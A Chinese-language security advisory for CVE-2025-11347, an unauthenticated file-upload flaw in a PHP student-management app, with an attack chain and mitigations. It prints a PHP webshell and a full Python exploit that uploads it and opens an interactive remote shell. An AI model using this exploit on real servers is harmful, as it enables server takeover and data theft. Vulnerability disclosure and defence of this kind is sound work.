IPBUF安全漏洞报告
English
CVE-2025-11347 CVSS 7.3 高危

CVE-2025-11347:Student Crud Operation任意文件上传致远程代码执行漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11347
漏洞类型
任意文件上传(Unrestricted File Upload)导致远程代码执行(RCE)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Student Crud Operation

相关标签

CVE-2025-11347任意文件上传远程代码执行RCEWebshellPHPcode-projectsStudent Crud Operation高危漏洞move_uploaded_file

漏洞概述

CVE-2025-11347是code-projects Student Crud Operation(学生增删改查管理系统)v3.3及之前版本中存在的一个高危安全漏洞。该漏洞位于Add Student Page(添加学生页面)和Edit Student Page(编辑学生页面)组件中的add.php文件,具体涉及PHP的move_uploaded_file函数。由于该函数在处理用户上传文件时缺乏充分的安全校验,攻击者可以利用该漏洞上传任意类型的恶意文件(如Webshell),从而实现远程代码执行。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。攻击者无需任何身份认证即可远程发起攻击,且不需要用户交互。漏洞的成功利用将导致机密性、完整性和可用性均受到低级别的影响,攻击者可以在服务器上执行任意命令,获取服务器控制权,窃取敏感数据,或植入后门进行持久化攻击。

该漏洞的利用代码已经被公开披露,攻击者可以轻易地从公共渠道获取利用工具或PoC代码,这大大增加了该漏洞被实际利用的风险。对于部署了该系统的教育机构、学校管理系统或其他使用该开源项目的组织来说,该漏洞构成了严重的安全威胁。建议相关用户尽快检查自身系统是否受到影响,并采取相应的修复措施。

技术细节

该漏洞的根本原因在于code-projects Student Crud Operation的add.php文件中调用了PHP的move_uploaded_file()函数,但在调用之前没有对用户上传的文件进行充分的安全校验。

具体技术细节如下:

1. **漏洞触发点**:add.php文件中的move_uploaded_file()函数调用,该函数负责将用户上传的临时文件移动到服务器的目标目录。

2. **缺乏校验**:代码没有对上传文件的以下关键属性进行验证:
- 文件扩展名(MIME类型检查缺失)
- 文件内容(文件头/Magic Number检查缺失)
- 文件大小限制(可能缺失或配置不当)

3. **利用方式**:
- 攻击者构造一个包含恶意PHP代码的文件(如shell.php),文件内容为:<?php system($_GET['cmd']); ?>
- 通过HTTP POST请求向add.php端点发送multipart/form-data格式的文件上传请求
- 由于服务器未对文件类型进行严格校验,恶意PHP文件被成功移动到Web可访问目录
- 攻击者通过浏览器访问上传的Webshell文件,传入命令参数即可执行任意系统命令

4. **攻击特征**:
- 攻击向量:网络(AV:N)
- 攻击复杂度:低(AC:L)
- 所需权限:无(PR:N)
- 用户交互:无需(UI:N)
- 影响范围:不变(S:U)

5. **影响后果**:成功利用后,攻击者可以完全控制Web服务器,执行任意代码,读取/修改/删除服务器上的文件,安装后门程序,甚至进行内网横向移动。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎、Shodan等工具识别部署了code-projects Student Crud Operation的目标系统,确认目标系统版本在v3.3及以下。
STEP 2
步骤2:定位上传端点
攻击者访问目标网站的Add Student Page或Edit Student页面,定位add.php文件上传端点,分析其文件上传表单结构。
STEP 3
步骤3:构造恶意文件
攻击者构造包含恶意PHP代码的Webshell文件(如shell.php),内容为<?php system($_GET['cmd']); ?>,用于实现远程命令执行。
STEP 4
步骤4:上传恶意文件
攻击者通过HTTP POST请求向add.php端点发送multipart/form-data格式的上传请求,由于服务器未对文件类型进行校验,恶意PHP文件被成功上传到Web可访问目录。
STEP 5
步骤5:执行远程代码
攻击者通过浏览器访问上传的Webshell文件URL,并传入系统命令参数(如?cmd=id),服务器执行恶意PHP代码,攻击者获得服务器命令执行权限。
STEP 6
步骤6:权限维持与横向移动
攻击者在服务器上植入后门程序(如修改系统文件、添加SSH密钥、创建隐藏账户等),实现持久化访问,并尝试进行内网横向移动以扩大攻击范围。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11347 PoC - Student Crud Operation Unrestricted File Upload # Exploit for code-projects Student Crud Operation <= v3.3 import requests TARGET_URL = "http://target.com/add.php" # Replace with actual target SHELL_FILENAME = "shell.php" SHELL_CONTENT = "<?php system($_GET['cmd']); ?>" def exploit(target_url, filename, content): """ Exploit unrestricted file upload vulnerability in add.php Uploads a PHP webshell to achieve Remote Code Execution """ # Prepare the malicious PHP webshell file files = { 'file': (filename, content, 'application/x-php') } # Send the upload request to the vulnerable endpoint # The 'file' field name may vary depending on the actual form implementation response = requests.post(target_url, files=files) if response.status_code == 200: print(f"[+] File uploaded successfully!") # Common upload directory patterns upload_paths = [ f"/uploads/{filename}", f"/images/{filename}", f"/student_images/{filename}", f"/{filename}" ] for path in upload_paths: shell_url = target_url.rsplit('/', 1)[0] + path # Test if webshell is accessible test = requests.get(f"{shell_url}?cmd=id") if 'uid=' in test.text: print(f"[+] Webshell accessible at: {shell_url}") print(f"[+] Command execution confirmed: {test.text.strip()}") return shell_url print("[-] Exploit failed") return None if __name__ == "__main__": shell_url = exploit(TARGET_URL, SHELL_FILENAME, SHELL_CONTENT) if shell_url: # Interactive shell while True: cmd = input("shell> ") if cmd.lower() in ['exit', 'quit']: break result = requests.get(f"{shell_url}?cmd={cmd}") print(result.text)

影响范围

code-projects Student Crud Operation <= 3.3

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置禁止上传目录中的PHP脚本执行;2)在应用层面添加文件类型白名单校验,仅允许图片等合法文件类型上传;3)对上传的文件进行随机重命名存储,避免攻击者猜测和访问上传的恶意文件;4)部署WAF规则拦截可疑的文件上传请求;5)定期检查上传目录,及时清理可疑文件;6)限制add.php等敏感端点的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表